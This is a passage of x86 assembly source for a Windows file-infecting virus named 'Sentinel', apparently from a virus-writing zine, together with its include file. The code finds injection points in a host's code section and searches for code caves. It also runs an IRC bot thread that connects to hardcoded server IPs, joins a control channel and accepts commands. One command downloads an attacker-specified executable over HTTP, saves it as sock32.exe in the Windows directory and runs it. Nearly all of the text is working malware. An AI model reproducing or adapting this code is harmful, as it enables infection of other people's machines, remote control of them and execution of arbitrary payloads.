
	mov ecx, dword ptr [edi + 16d]			; raw size of code section
	mov [ebp + cs_rawsize], ecx
	mov edx, dword ptr [edi + 20d]			; RVA to raw data of code section
	add edx, [ebp + mapaddress]
	mov [ebp + epo_cs_pa], edx
	mov esi, edx

	mov eax, [ebp + ip_original]
	mov edx, [ebp + epo_cs_rva]
	sub eax, edx
	add esi, eax
	sub ecx, eax

	; esi = physical address to raw data of code section
	; ecx = size of raw data of code section

    ScanForOpcode:
	lodsw
	dec esi

	cmp word ptr [ebp + epo_opcode], ax
	je FoundOpcode
	loop ScanForOpcode
	xor eax, eax					; eax = 0 = error
	jmp ExitEpoRoutine				; not found

    FoundOpcode:
	dec ecx
	push esi
	push ecx
	inc esi

	; esi = physical address of [xxxx] in code section

    ExamineAddress:
	mov [ebp + epo_aoc_pa], esi			; address of call
	mov eax, dword ptr [esi]
	mov [ebp + epo_awaa_va], eax			; address where api address

	;pushad
	;call MSG_BEEP
	;popad

	; on stack: esi, ecx

    GetRVAImportTable:
	mov esi, [ebp + PEheader]
	mov eax, [esi + 80h]				; rva of import table
	call FIND_SECTION
	or eax, eax	
	jz NotFound

	; edx = va of import section
	; ecx = size of import section
	; on stack: esi, ecx

    CompareAddressToImportAddress:
	mov esi, [ebp + epo_awaa_va]
	cmp edx, esi
	jb CheckNotAbove
	jmp NotFound	

    CheckNotAbove:
	add edx, ecx
	cmp edx, esi
	ja FoundGoodInsertionPoint

    NotFound:
	pop ecx
	pop esi
	jmp ScanForOpcode

    FoundGoodInsertionPoint:
	mov eax, 0ah
	call GET_RANDOM_NUMBER_WITHIN
	cmp eax, 3h
	ja NotFound

	pop ecx
	pop esi
	mov eax, 01h

	; eax == 0 -> error
	; eax == 1 -> found

    ExitEpoRoutine:
	ret

CREATE_EPO endp

FIND_USER32_BASE_ADDRESS proc 

    GetUser32Base:
	lea eax, [ebp + user32]				
	push eax					
	lea eax, [ebp + ALoadLibrary]			
	call GETAPI					
	mov [ebp + user32address], eax
	ret

FIND_USER32_BASE_ADDRESS endp

FIND_WSOCK32_BASE_ADDRESS proc

    LoadWsock32:
	lea eax, [ebp + wsock32]			; not found, then
	push eax					; load the dll
	lea eax, [ebp + ALoadLibrary]			; first
	call GETAPI
	mov [ebp + wsock32address], eax
	ret

FIND_WSOCK32_BASE_ADDRESS endp

FIND_SECTION proc

    ; In:  eax - rva somewhere in section
    ; Out: edx - va of section start
    ; Out: ecx - size of section
    ; out: edi - va of section header

    FindFirstSectionHeader:
	mov esi, [ebp + mapaddress]
	add esi, dword ptr [esi + 3ch]			; esi=offset peheader
	movzx ecx, word ptr [esi + 06h]			; ecx = nr. of sections
	movzx edi, word ptr [esi + 20d]			; optional header size
	add esi, 24d					; file header size
	add edi, esi					

	; edi points to first section header

    FindCorrespondingSection:
	push eax
	mov edx, dword ptr [edi + 12d]			; section RVA
	sub eax, edx
	cmp eax, dword ptr [edi + 08d]			; section size
	jb SectionFound

    NotThisSection: 
	pop eax
	add edi, 40d
	loop FindCorrespondingSection

    EndSectionSearch:
	xor eax, eax
	ret

    SectionFound:
	pop eax
	mov edx, dword ptr [edi + 12d]	
	add edx, [ebp + imagebase]		
	mov ecx, dword ptr [edi + 08d]			
	ret

FIND_SECTION endp

GET_RANDOM_NUMBER proc

	push    eax ebx
	lea eax, [ebp + AGetTickCount]
	call GETAPI

	lea     ebx, [ebp + random_number]      ; EBX = pointer to random_number
	mul     dword ptr [ebx]         	; Multiply previous miliseconds with
	sbb     edx,eax              	 	; Add low-order word of 32-bit random
	cmc                          		; Complement carry flag
	adc     [ebx],edx            		; Store 32-bit random number
	pop     ebx eax
	ret

GET_RANDOM_NUMBER endp

GET_RANDOM_NUMBER_WITHIN proc

	push    ebx
	call    GET_RANDOM_NUMBER
	xchg    eax,ebx                 ; EBX = number in range
	xor     eax,eax                 ; Zero EAX
	xchg    eax,edx                 ; EDX = 32-bit random number
	div     ebx                     ; EAX = random number within range
	pop     ebx
	xchg eax, edx
	ret

GET_RANDOM_NUMBER_WITHIN endp


CAVITYSEARCH proc

;-----------------------------------------------------------------------------
; Cavity search engine by Benny and Darkman of 29A
;
; Calling parameters:
; ECX = size of search area
; ESI = pointer to search area
;
; Return parameters:
; ESI = pointer to cave

    CSE:
	pushad	
	mov ebp, 14d			; EBP = size of cave wanted	
	lodsb				; AL = byte within search area	

    reset_cavity_loop:
	xchg	eax,ebx			; BL =  "     "      "     "	
	xor	edx,edx			; Zero EDX	
	dec	ecx			; Decrease counter	
	cmp	ecx,ebp			; Unsearched search area large enough?	
	jb	no_cave_found		; Below? Jump to no_cave_found

    find_cave_loop:		
	lodsb				; AL = byte within search area	
	cmp	al,bl			; Current byte equal to previous byte?	
	jne	reset_cavity_loop	; Not equal? Jump to reset_cavity_loop	
	inc	edx			; Increase number of bytes found in	
					; cave	
	cmp	edx,ebp			; Found a cave large enough?	
	jne	find_cave_loop		; Not equal? Jump to find_cave_loop
	sub	esi,ebp			; ESI = pointer to cave	
	jmp 	exit_cave

    no_cave_found:
	xor esi, esi

    exit_cave:
	mov	[esp + 4],esi
	popad	
	ret

;-----------------------------------------------------------------------------

CAVITYSEARCH endp


names 	dd  30d
name1 	db  'pion',0
name2 	db  'sarge',0
name3 	db  'blink',0
name4 	db  'midge',0
name5 	db  'xaero',0
name6 	db  'void',0
name7 	db  'vivid',0
name8 	db  'xeon',0
name9 	db  'n0bs',0
name10 	db  'helios',0
name11 	db  'phobos',0
name12 	db  'flux',0
name13 	db  'hypno',0
name14 	db  'bond',0
name15 	db  'chaos',0
name16 	db  'blup',0
name17 	db  'sntnl',0
name18 	db  'fire',0
name19 	db  'water',0
name20 	db  'earth',0
name21 	db  'heart',0
name22 	db  'stone',0
name23 	db  'light',0
name24 	db  'love',0
name25 	db  'silver',0
name26 	db  'surfer',0
name27 	db  'panic',0
name28 	db  'm00dy',0
name29 	db  'texas',0
name30 	db  'snow',0
name31 	db  'beta',0

servers dd 04d
server1 db "195.112.4.25",0
server2 db "195.159.135.99",0
server3 db "195.121.6.196",0
server4 db "154.11.89.164",0
server5 db "205.188.149.3",0

port1 dd 7000d
port2 dd 6660d
port3 dd 6660d
port4 dd 6661d
port5 dd 6667d

GET_ITEM_FROM_LIST proc

	; IN:	eax = total number of items
	;	esi = offset of first item
	; OUT:  esi = pntr to start of item
	;	ecx = size of item
	;	eax = random number

    GetItemFromList:
	push edi
	push esi
	call GET_RANDOM_NUMBER_WITHIN
	mov ecx, eax
	pop esi
	push eax
	or ecx, ecx
	jz GetSizeOfItem

    GetPositionOfItem:
	push ecx
	call GET_STRING_SIZE
	add esi, ecx
	inc esi
	pop ecx
	loop GetPositionOfItem

    GetSizeOfItem:
	call GET_STRING_SIZE
	pop eax
	pop edi
	ret

GET_ITEM_FROM_LIST endp

IRC_LAUNCH proc 

    IRCLaunch:
	cmp [ebp + ircstatus], 00h
	je CreateIRCThread
	ret

    CreateIRCThread:
	lea eax, [ebp + ircthreadid]			
	push eax					
	push 00h
	push 01h
	lea eax, [ebp + IRC_THREAD]
	push eax
	push 00h
	push 00h
	lea eax, [ebp + ACreateThread]
	call GETAPI
	mov [ebp + ircstatus], 01h
	ret

IRC_LAUNCH endp

IRC_THREAD proc handle: dword

    IrcThreadEntryPoint:
	pushad
	call GetIrcDelta

    GetIrcDelta:
	pop ebp
	sub ebp, offset GetIrcDelta

    GetWSock32Base:
	call FIND_GETPROCADDRESS_API_ADDRESS
	call FIND_WSOCK32_BASE_ADDRESS

    LoadWinInetDll:
	lea eax, [ebp + wininet]
	push eax
	lea eax, [ebp + ALoadLibrary]
	call GETAPI
	or eax, eax
	jz UserIsOffline

    FindConnectionApiAddress:
	lea ebx, [ebp + AInternetGetConnectedState]
	push ebx
	push eax
	call [ebp + AGetProcAddressA]
	or eax, eax
	jz UserIsOffline

    CheckConnection:
	push 00h
	lea ebx, [ebp + buffer]
	push ebx
	call eax
	or eax, eax
	jnz UserIsOnline
 
    UserIsOffline:
	push 10000h
	lea eax, [ebp + ASleep]
	call GETAPI
	jmp LoadWinInetDll

    UserIsOnline:
	lea eax, [ebp + mywsadata]
	push eax
	push 101h
	lea eax, [ebp + AWSAStartup]
	call GETWAPI

    OpenSocket:
	push 00h
	push SOCK_STREAM
	push AF_INET
	lea eax, [ebp + Asocket]
	call GETWAPI
	mov [ebp + socketh], eax

    GetSocketValues:
	mov [ebp + mysocket.sin_family], AF_INET
	mov eax, [ebp + servers]
	lea esi, [ebp + server1]
	call GET_ITEM_FROM_LIST 
	push esi
	push ecx

    GetPort:
	lea esi, [ebp + port1]
	mov ecx, 04
	mul ecx
	add esi, eax
	mov edx, dword ptr [esi]

	push edx
	lea eax, [ebp + Ahtons]
	call GETWAPI
	mov [ebp + mysocket.sin_port], ax

	pop ecx
	lea eax, [ebp + Ainet_addr]
	call GETWAPI
	mov [ebp + mysocket.sin_addr], eax

    Connect:
	push 10h
	lea eax, [ebp + mysocket]
	push eax
	push [ebp + socketh]
	lea eax, [ebp + Aconnect]
	call GETWAPI
	test eax, eax
	jnz Connect

    LogonToIrcServer:
	call LOGON

    DoTheLoop:
	call IRC_RECEIVE
	or eax, eax
	jz CloseSocket
	jmp DoTheLoop
	
    CloseSocket:
	push [ebp + socketh]
	lea eax, [ebp + Aclosesocket]
	call GETWAPI

    WSACleanUp:
	lea eax, [ebp + AWSACleanup]
	call GETWAPI
                                         
    ExitThread:
	popad
	ret

IRC_THREAD endp

LOGON proc near

	call IRC_RECEIVE

    SendNick:
	lea edi, [ebp + offset buffer]
	lea esi, [ebp + offset nick]
	mov ecx, 05h
	rep movsb
	lea esi, [ebp + name1]
	mov eax, [ebp + names]
	call GET_ITEM_FROM_LIST
	rep movsb
	mov ebx, 10d
	call GET_RANDOM_NUMBER_WITHIN
	add eax, 48d
	mov byte ptr [edi], al
	inc edi
	mov ebx, 10d
	call GET_RANDOM_NUMBER_WITHIN
	add eax, 48d
	mov byte ptr [edi], al
	inc edi
	lea esi, [ebp + crlf]
	mov ecx, 03h
	rep movsb
	lea esi, [ebp + buffer]
	call GET_STRING_SIZE
	call IRC_SEND

	call IRC_RECEIVE

    SendUser:
	lea edi, [ebp + buffer]
	lea esi, [ebp + user1]
	mov ecx, 05d
	rep movsb
	call CREATE_RANDOM_NAME
	lea esi, [ebp + user2]
	mov ecx, 18d
	rep movsb
	lea esi, [ebp + buffer]
	call GET_STRING_SIZE
	call IRC_SEND

	call IRC_RECEIVE
	call IRC_RECEIVE
	
    SendJoin:
	lea esi, [ebp + join]
	mov ecx, 13d
	call IRC_SEND

    PostVersionMessage:
	call .PostVersion

    LogonDone:
	ret

LOGON endp

IRC_RECEIVE proc

	push 00h
	push 400h
	lea eax, [ebp + buffer]
	push eax
	push [ebp + socketh]
	lea eax, [ebp + ARecv]
	call GETWAPI
	mov [ebp + nrbytes], eax
	call IRC_SCANBUFFER
	ret

IRC_RECEIVE endp

IRC_SEND proc

	; esi = snd buffer
	; ecx = size to send

	push 00h
	push ecx
	push esi
	push [ebp + socketh]
	lea eax, [ebp + ASend]
	call GETWAPI
	ret

IRC_SEND endp


.PostVersion:
	lea edi, [ebp + buffer]
	lea esi, [ebp + post]
	mov ecx, 16d
	rep movsb
	lea esi, [ebp + post_vers]
	mov ecx, 5d
	rep movsb
	lea esi, [ebp + version]
	mov ecx, 4d
	rep movsb
	lea esi, [ebp + crlf]
	mov ecx, 03d
	rep movsb
	lea esi, [ebp + buffer]
	call GET_STRING_SIZE
	call IRC_SEND
	ret

.RespondPing:
	lea edi, [ebp + buffer]
	lea esi, [ebp + pong]
	mov ecx, 04h
	rep movsb
	mov ecx, [ebp + nrbytes]
	lea esi, [ebp + buffer]
	call IRC_SEND

.RespondPing_End:
	ret

IRC_SCANBUFFER proc

	; IN 	esi: buffer start
	;	ecx: buffer size

    ScanDaBuffer:
	mov ecx, [ebp + nrbytes]
	lea esi, [ebp + buffer]

    .PingPongMessage:
	cmp dword ptr [esi], 'GNIP'
	jne GetReplyNick
	call .RespondPing
	jmp EndLoop

    GetReplyNick:
	jecxz EndLoop
	inc esi
	dec ecx
	cmp byte ptr [esi], '!'
	je ExtractReplyNick
	cmp byte ptr [esi], ':'
	je EndLoop
	jmp GetReplyNick

    ExtractReplyNick:
	push esi
	push ecx
	mov ecx, esi
	lea esi, [ebp + buffer]
	sub ecx, esi
	dec ecx
	inc esi
	lea edi, [ebp + replynick]	
	rep movsb
	mov byte ptr [edi], 00h
	pop ecx
	pop esi
	
    ScanLoop:
	jecxz EndLoop
	cmp dword ptr [esi], 'VIRP'
	je SearchTextStart
	inc esi
	dec ecx
	jmp ScanLoop

    SearchTextStart:
	jecxz EndLoop
	cmp byte ptr [esi], ':'
	je .CommandMessage
	inc esi
	dec ecx
	jmp SearchTextStart

    .CommandMessage:
	inc esi
	dec ecx
	cmp dword ptr [esi], 's54p'
	jne EndLoop

    GetText:
	add esi, 5
	sub ecx, 5
	cmp byte ptr [esi], '/'
	jne EndLoop

    CheckIncomingCommandMessage:
	inc esi
	dec ecx
	cmp dword ptr [esi], 'kc1n'
	je CreateRandomNick
	cmp dword ptr [esi], 't1uq'
	je QuitIrc
	cmp dword ptr [esi], 'c3xe'
	je LaunchInstaller
	cmp dword ptr [esi], 't4ts'
	je InstallerStatus
	call IRC_SEND
	jmp EndLoop

    CreateRandomNick:
	lea edi, [ebp + mynick]
	call CREATE_RANDOM_NAME
	mov byte ptr [edi], 00h
	lea edi, [ebp + buffer]
	mov dword ptr [edi], 'KCIN'
	add edi, 04h
	mov byte ptr [edi], ' '
	inc edi
	lea esi, [ebp + mynick]
	call GET_STRING_SIZE
	rep movsb
	lea esi, [ebp + crlf]
	mov ecx, 03h
	rep movsb
	lea esi, [ebp + buffer]
	call GET_STRING_SIZE
	call IRC_SEND
	jmp EndLoop

    QuitIrc:
	lea esi, [ebp + quit]
	mov ecx, 06h
	call IRC_SEND
	xor eax, eax
	jmp EndLoop

    LaunchInstaller:
	call INSTALLER_LAUNCH
	jmp EndLoop
    
    InstallerStatus:
	call INSTALLER_STATUS

    EndLoop:
	ret

IRC_SCANBUFFER endp


	version				db "0101",0
	post				db "PRIVMSG #sntnl :",0
	post_vers			db "vers ",0
	mynick				db 5h dup(0)
	replynick			db 5h dup(0)

	nrbytes				dd 0
	ircstatus			dd 0
	ircthreadid			dd 0

	wsock32 			db "WSOCK32.dll",0
	wininet				db "WININET.dll",0

	ASend 				db "send",0
	ARecv 				db "recv",0
	AWSAGetLastError 		db "WSAGetLastError",0
	AWSAGetLastErrorA 		dd 0
	AInternetGetConnectedState	db "InternetGetConnectedState",0
	ACreateThread			db "CreateThread",0
	AWSAStartup			db "WSAStartup",0
	AWSACleanup			db "WSACleanup",0
	Asocket				db "socket",0
	Aconnect			db "connect",0
	Aclosesocket			db "closesocket",0
	Ahtons				db "htons",0
	Ainet_addr			db "inet_addr",0
	AGetTickCount			db "GetTickCount",0
	AGetLastError			db "GetLastError",0
	ASleep				db "Sleep",0

	random_number 			dd 01234567h
	ipaddress 			db "212.43.217.183",0
	
	; if the bot does not appear online in #sentinel, try using a different
	; server ip-address.

	user1 				db "USER ",0
	user2				db " bb cc sentinel",0dh,0ah
	nick 				db "NICK ",0
	pong				db "PONG",0
	join 				db "JOIN #sntnl",0dh,0ah
	quit				db "QUIT",0dh,0ah
	crlf				db 0dh, 0ah,0
	dots				db ' :',0
	socketh 			dd 0
	buffer				db 400h dup(0)

	mywsadata 			WSADATA <>
	mysocket 			SOCKADDR <>

CREATE_RANDOM_NAME proc

    ; IN: edi = place to put 5 rnd chars

	call GetRandomChar
	call GetRandomChar
	call GetRandomChar
	call GetRandomChar
	call GetRandomChar
	ret

    GetRandomChar:
	mov eax, 26d
	call GET_RANDOM_NUMBER_WITHIN
	add eax, 97d
	mov byte ptr [edi], al
	inc edi
	ret

CREATE_RANDOM_NAME endp

GET_STRING_SIZE proc

    GetStringSize:
	xor ecx, ecx
    
    SearchEndOfString:
	cmp byte ptr [esi + ecx], 0h
	je StringSizeFound
	inc ecx
	jmp SearchEndOfString

    StringSizeFound:
	ret

GET_STRING_SIZE endp

INSTALLER_LAUNCH proc

    LaunchTheInstaller:
	add esi, 05h
	sub ecx, 05h

    GetServerValue:
	cmp byte ptr [esi], '['
	jne ExitInstallerLaunch
	inc esi

    FoundServerValueStart:
	mov edi, esi
	xor edx, edx

    GetServerLoop:
	cmp byte ptr [esi], ']'
	je StoreServerValue
	inc esi
	inc edx
	dec ecx
	cmp ecx, 00h
	je ExitInstallerLaunch
	jmp GetServerLoop

    StoreServerValue:
	mov esi, edi
	push ecx
	lea edi, [ebp + installer_server]
	mov ecx, edx
	rep movsb
	pop ecx

    GetGetCommand:
	cmp byte ptr [esi], '['
	je FilterGetCommand
	inc esi
	dec ecx
	cmp ecx, 00h
	je ExitInstallerLaunch
	jmp GetGetCommand

    FilterGetCommand:
	inc esi
	mov edi, esi
	xor edx, edx

    GetCommandLoop:
	cmp byte ptr [esi], ']'
	je SaveGetCommand
	inc esi
	inc edx
	dec ecx
	cmp ecx, 00h
	je ExitInstallerLaunch
	jmp GetCommandLoop

    SaveGetCommand:
	mov [ebp + installer_getsize], edx
	mov esi, edi
	mov ecx, edx
	lea edi, [ebp + installer_get]
	rep movsb

    InstallerGo:
	mov [ebp + installer_launchstatus], 00h
	lea eax, [ebp + installerthreadid]
	push eax
	push 00h
	push 1234567h
	lea eax, [ebp + INSTALLER_THREAD]
	push eax
	push 10000h
	push 00h
	lea eax, [ebp + ACreateThread]
	call GETAPI
	
    ExitInstallerLaunch:
	ret

INSTALLER_LAUNCH endp

INSTALLER_RECEIVE proc

    SaveStack:
	pushad

    ReceiveData:
	push edi
	mov eax, [ebp + nrbytes2]
	mov esi, dword ptr [ebp + dmHnd]
	add esi, eax
	push 00h
	push edi
	push esi
	push [ebp + isocketh]
	lea eax, [ebp + ARecv]
	call GETWAPI
	add [ebp + nrbytes2], eax
	pop edi

	mov ecx, eax
	inc ecx
	jnz InstallerProceed

	call [ebp + AWSAGetLastErrorA]
	cmp eax,2733h
	je ReceiveData

    InstallerProceed:
	popad
	ret

INSTALLER_RECEIVE endp

INSTALLER_STATUS proc

     CheckInstallerStatus:
	cmp [ebp + installer_launchstatus], 00h
	je StatusWaiting
	cmp [ebp + installer_launchstatus], 01h
	je StatusInstalling
	cmp [ebp + installer_launchstatus], 02h
	je StatusDone
	cmp [ebp + installer_launchstatus], 03h
	je StatusConnectionError
	cmp [ebp + installer_launchstatus], 04h
	je StatusSizeError
	jmp ExitInstallerStatus

    StatusWaiting:
	push 00h
	push 28d
	lea eax, [ebp + installer_stat00]
	push eax
	push [ebp + socketh]
	lea eax, [ebp + ASend]
	call GETWAPI
	jmp ExitInstallerStatus

   StatusInstalling:
	push 00h
	push 31d
	lea eax, [ebp + installer_stat01]
	push eax
	push [ebp + socketh]
	lea eax, [ebp + ASend]
	call GETWAPI	
	jmp ExitInstallerStatus

   StatusDone:
	push 00h
	push 25d
	lea eax, [ebp + installer_stat02]
	push eax
	push [ebp + socketh]
	lea eax, [ebp + ASend]
	call GETWAPI
	jmp ExitInstallerStatus

   StatusConnectionError:
	push 00h
	push 38d
	lea eax, [ebp + installer_stat03]
	push eax
	push [ebp + socketh]
	lea eax, [ebp + ASend]
	call GETWAPI
	jmp ExitInstallerStatus

   StatusSizeError:
	push 00h
	push 31d
	lea eax, [ebp + installer_stat04]
	push eax
	push [ebp + socketh]
	lea eax, [ebp + ASend]
	call GETWAPI

    ExitInstallerStatus:
	ret

INSTALLER_STATUS endp

INSTALLER_THREAD proc handle: dword

   GetInstallerDelta:
	pushad
	call InstallerDelta

   InstallerDelta:
	pop ebp
	sub ebp, offset InstallerDelta

    AllocateExeMem:
	push 1000000h
	push GMEM_FIXED
	lea eax, [ebp + AGlobalAlloc]
	call GETAPI

	mov [ebp + dmHnd], eax
	or eax, eax
	jz ExitInstaller

    InstallerWsaStartup:
	lea eax, [ebp + mywsadata]
	push eax
	push 101h
	lea eax, [ebp + AWSAStartup]
	call GETWAPI

    InstallerOpenSocket:
	push 00h
	push 01h
	push 02h
	lea eax, [ebp + Asocket]
	call GETWAPI
	mov [ebp + isocketh], eax

    InstallerGetSocketValues:
	mov [ebp + mysocket2.sin_family], 02h
	push 80
	lea eax, [ebp + Ahtons]
	call GETWAPI
	mov [ebp + mysocket2.sin_port], ax

	lea eax, [ebp + installer_server]
	push eax
	lea eax, [ebp + Ainet_addr]
	call GETWAPI
	mov [ebp + mysocket2.sin_addr], eax
	xor ecx, ecx
 
    InstallerConnect:
	cmp ecx, 03h
	je InstallerConnectionError
	push ecx

	push 10h
	lea eax, [ebp + mysocket2]
	push eax
	push [ebp + isocketh]
	lea eax, [ebp + Aconnect]
	call GETWAPI

	pop ecx
	or eax, eax
	jz InstallerSendGetCommand
	inc ecx
	jmp InstallerConnect

    InstallerConnectionError:
	mov [ebp + installer_launchstatus], 03h
	jmp ExitInstaller

    InstallerSendGetCommand:
	push 00h
	push [ebp + installer_getsize]
	lea eax, [ebp + installer_get]
	push eax
	push [ebp + isocketh]
	lea eax, [ebp + ASend]
	call GETWAPI

	push 00h
	push 02h
	lea eax, [ebp + crlf]
	push eax
	push [ebp + isocketh]
	lea eax, [ebp + ASend]
	call GETWAPI

	push 00h
	push 02h
	lea eax, [ebp + crlf]
	push eax
	push [ebp + isocketh]
	lea eax, [ebp + ASend]
	call GETWAPI

	mov [ebp + installer_launchstatus], 01h
	mov [ebp + nrbytes2], 00h
	mov ecx, 1000000h

    ReceiveLoop:
	cmp ecx, 400h
	jna LastPart
	sub ecx, 400h
	mov edi, 400h
	call INSTALLER_RECEIVE
	jmp ReceiveLoop

    LastPart:
	mov edi, ecx
	call INSTALLER_RECEIVE

    SearchMz:
	xor ecx, ecx
	mov edi, dword ptr [ebp + dmHnd]

    MzLoop:
	cmp word ptr [edi], 'ZM'
	je FoundExeMark
	inc edi
	inc ecx

	cmp ecx, 200h
	ja SearchZm
	jmp MzLoop

    SearchZm:
	xor ecx, ecx
	mov edi, dword ptr [ebp + dmHnd]

    ZmLoop:
	cmp word ptr [edi], 'MZ'
	je FoundExeMark
	inc edi
	inc ecx

	cmp ecx, 200h
	ja InstallerCloseSocket
	jmp ZmLoop
	
    FoundExeMark:
	mov [ebp + skip], ecx

    ZeroWindirString:
	mov ecx, 100h
	xor eax, eax
	lea edi, [ebp + windir]
	rep stosb

    InstallerGetSetWindowsDirectory:
	call GET_WINDIR
	call SET_WINDIR

	push 00h
	push 20h
	push 02h
	push 00h
	push 01h
	push 80000000h or 40000000h
	lea eax, [ebp + commandline]
	push eax
	lea eax, [ebp + ACreateFile]
	call GETAPI
	mov [ebp + ifilehandle], eax

	push 02h
	push 00h
	push 00h
	push eax
	lea eax, [ebp + ASetFilePointer]
	call GETAPI
	
	mov edi, dword ptr [ebp + dmHnd]
	add edi, [ebp + skip]
	mov ebx, [ebp + nrbytes2]
	sub ebx, [ebp + skip]

	push 00h
	lea edx, [ebp + bytesread]
	push edx
	push ebx
	push edi
	push [ebp + ifilehandle]
	lea eax, [ebp + AWriteFile]
	call GETAPI	

    InstallerGetRealSize:
	lea ebx, [ebp + irealsize]
	push ebx
	push [ebp + ifilehandle]
	lea eax, [ebp + AGetFileSize]
	call GETAPI
	mov [ebp + irealsize], eax	

    InstallerCloseFile:
	push [ebp + ifilehandle]
	lea eax, [ebp + ACloseHandle]
	call GETAPI

    GetFileSize:
	mov edi, dword ptr [ebp + dmHnd]
	xor ecx, ecx

    InstallerFileSizeLoop:
	cmp dword ptr [edi], ':htg'
	je InstallerFoundSize
	inc ecx
	inc edi
	cmp ecx, 200h
	je InstallerCloseSocket
	jmp InstallerFileSizeLoop

    InstallerFoundSize:
	xor ecx, ecx
	add edi, 05h
	mov [ebp + sizestart], edi

    ExtractFileSizeLoop:
	cmp word ptr [edi], 0a0dh
	je FoundEndOfSizeString
	inc edi
	inc ecx
	cmp ecx, 10h
	je InstallerCloseSocket
	jmp ExtractFileSizeLoop

    FoundEndOfSizeString:
	cld
	mov [ebp + sizesize], ecx
	mov [ebp + ifilesize], 00h
	mov ebx, 01h
	mov esi, [ebp + sizestart]
	add esi, ecx
	sub esi, 01h
	
    Convert2Int:
	xor eax, eax
	lodsb
	sub eax,'0'
	mul ebx
	add [ebp + ifilesize], eax
	add edx, eax
	dec esi
	dec esi
	dec ecx
	cmp ecx, 00h
	je InstallerCheckFileSize
	push ecx
	push esi
	mov ecx, 10d
	mov eax, ebx
	mul ecx
	mov ebx, eax
	pop esi
	pop ecx
	jmp Convert2Int

    InstallerCheckFileSize:
	mov esi, [ebp + ifilesize]
	mov edi, [ebp + irealsize]
	cmp esi, edi
	je ExecuteFile
	mov [ebp + installer_launchstatus], 04h
	jmp InstallerCloseSocket
 
    ExecuteFile:
	lea eax, [ebp + lpProcessInformation]
	push eax
	lea eax, [ebp + lpStartupInfo]
	push eax
	push 00h
	push 00h
	push CREATE_DEFAULT_ERROR_MODE
	push FALSE
	lea eax, [ebp + lpThreadAttributes]
	push eax
	lea eax, [ebp + lpProcessAttributes]
	push eax
	lea eax, [ebp + commandline]
	push eax
	push 00h
	lea eax, [ebp + ACreateProcess]
	call GETAPI
	mov [ebp + installer_launchstatus], 02h

    InstallerCloseSocket:
	push [ebp + isocketh]
	lea eax, [ebp + Aclosesocket]
	call GETWAPI

	lea eax, [ebp + AWSACleanup]
	call GETWAPI

    ExitInstaller:
	popad
	ret
   
INSTALLER_THREAD endp

FALSE   =       0
	TRUE    =       1

	lpProcessInformation 		PROCESS_INFORMATION <>
	lpStartupInfo 			STARTUPINFO <>
	lpThreadAttributes 		SECURITY_ATTRIBUTES <>
	lpProcessAttributes 		SECURITY_ATTRIBUTES <>
	mysocket2			SOCKADDR <>

	AWriteFile 			db "WriteFile",0
	ACreateProcess			db "CreateProcessA",0
	AGlobalAlloc 			db "GlobalAlloc",0
	

	commandline			db "sock32.exe",0

	windir 				db 100h dup(0)
	skip				dd 0
	sizestart			dd 0
	sizesize			dd 0
	bytesread			dd 0
	nrbytes2			dd 0

	dmHnd           		dd 0
	ifilehandle			dd 0
	ifilesize		 	dd 0
	irealsize 			dd 0
	isocketh			dd 0

	installerthreadid		dd 0

	installer_server 		db 20h dup(0)
	installer_get 			db 100h dup(0)
	installer_serversize 		dd 0
	installer_getsize 		dd 0
	installer_launchstatus 		dd 0
	installer_stat00 		db "PRIVMSG #sntnl :Waiting...",0dh,0ah
	installer_stat01 		db "PRIVMSG #sntnl :Installing...",0dh,0ah
	installer_stat02 		db "PRIVMSG #sntnl :Done...",0dh,0ah
	installer_stat03 		db "PRIVMSG #sntnl :Unable to connect...",0dh,0ah
	installer_stat04 		db "PRIVMSG #sntnl :Size error...",0dh,0ah

GET_WINDIR proc

    GetWindowsDir:
	push 128h					; size of dirstring		
	lea eax, [ebp + windir]				; save it here
	push eax
	lea eax, [ebp + AGetWindowsDirectory]		; get windowsdir
	call GETAPI
	ret

GET_WINDIR endp

SET_WINDIR proc

    SetWindowsDir:
	lea eax, [ebp + windir]				; change to sysdir
	push eax
	lea eax, [ebp + ASetCurrentDirectory]	
	call GETAPI
	ret

SET_WINDIR endp

;========================================================================;

    Leap:

.code

    OriginalHost:
	pop ebx

	push 00h
	call ExitProcess

end FirstCopy
end
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SENTINEL.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ
GMEM_FIXED      =   0000h


LPVOID				typedef	DWORD		;long ptr to buffer
BOOL				typedef DWORD		;boolean variable
HANDLE				typedef DWORD		;unspecified handle
LPSTR				typedef DWORD		;long ptr to string
LPBYTE				typedef DWORD		;long ptr to byte
ACHAR				typedef	BYTE		;ansi character
CHAR				textequ	<ACHAR>		;ansi char type
CHAR_				equ	1		;ansi char size

CREATE_DEFAULT_ERROR_MODE	equ	04000000h

SECURITY_ATTRIBUTES_	equ	  4+4+4
SECURITY_ATTRIBUTES	struct
sa_nLength		DWORD	  SECURITY_ATTRIBUTES_ ;structure size
sa_lpSecurityDescriptor	LPVOID	  0		;security descriptor
sa_bInheritHandle	BOOL	  0		;handle inheritance flag
SECURITY_ATTRIBUTES	ends

PROCESS_INFORMATION	struct
pi_hProcess		HANDLE	  0		;process handle
pi_hThread		HANDLE	  0		;thread handle
pi_dwProcessId		DWORD	  0		;process id
pi_dwThreadId		DWORD	  0		;thread id
PROCESS_INFORMATION	ends
PROCESS_INFORMATION_	equ	  4+4+4+4

STARTUPINFO		struct
si_cb			DWORD	  0		;structure size
si_lpReserved		LPSTR	  0		;(reserved)
si_lpDesktop		LPSTR	  0		;desktop name
sl_lpTitle		LPSTR	  0		;console window title
si_dwX			DWORD	  0		;window origin (column)
si_dwY			DWORD	  0		;window origin (row)
si_dwXSize		DWORD	  0		;window width
si_dwYSize		DWORD	  0		;window height
si_dwXCountChars	DWORD	  0		;screen buffer width
si_dwYCountChars	DWORD	  0		;screen buffer height
si_dwFillAttribute	DWORD	  0		;console window initialization
si_dwFlags		DWORD	  0		;structure member flags
si_wShowWindow		WORD	  0		;ShowWindow() parameter
si_cbReserved2		WORD	  0		;(reserved)
si_lpReserved2		LPBYTE	  0		;(reserved)
si_hStdInput		HANDLE	  0		;standard input handle
si_hStdOutput		HANDLE	  0		;standard output handle
